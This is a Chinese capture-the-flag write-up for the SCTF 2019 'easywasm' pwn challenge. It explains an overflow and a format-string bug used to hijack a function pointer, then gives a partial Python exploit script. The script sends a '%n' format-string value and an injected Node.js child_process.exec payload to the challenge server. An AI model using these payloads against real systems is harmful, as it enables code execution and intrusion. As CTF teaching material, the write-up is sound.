easywasm

发表于 2021-01-04 分类于 Challenge， 2019， SCTF， Pwn
Challenge | 2019 | SCTF | Pwn | easywasm

点击此处获得更好的阅读体验

解题思路

题目分析

程序存在一个结构体用于保存信息记录

```
C struct {
    char *username;
    int password;
    char *introduction;
    void (*state)(const char *);
}
record;
```

先说三个函数逻辑`registered()`用于初始化record结构体，`profile()`用于打印`username`和`introduction`，`login()`用于验证username和password并通过state函数指针返回登录成功或失败的状态信息因为程序存在`Z_envZ__emen_run_Z_vi`只需要改变`state`即可,但是如果成功调用,还需要泄露出`password`其中`profile()`存在一个溢出漏洞和一个格式化字符串漏洞,通过溢出,我们可以控制任意写的地址,然后再leak出password即可,许多payload的细节可以调试知道

EXP

```
import requests
url = 'http://47.104.89.129:23333/'
registered = url + 'registered'
profile = url + 'profile'
login = url + 'login'
username = 'username'
password = 'password'
introduction = 'introduction'
payload = ''
payload += 'A'*7
payload += ''' const exec=require("child_process").exec; exec("cat flag", function(error,stdout,stderr){process.stdout.write(stdout);}); '''.ljust(0x7f, ' ')
payload += '//\x3C\x0D\x00'
params = {
    username: '%2$0141d%1$n',
    introduction: payload
}
requests.get(registered, params=params)
req = requests.get(profile)
passwd = req.text.lstrip('Welcome, ').rstrip('Your introduction: AAAAAAA')
```

- ***本文作者：*** *CTFHub*
- ***本文链接：*** *https://writeup.ctfhub.com/Challenge/2019/SCTF/Pwn/m1d5tyjvuBvFUceMvHkKc1.html*
- ***版权声明：*** *本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！*

 # Challenge # Pwn # 2019 # SCTF
easy_heap
one_heap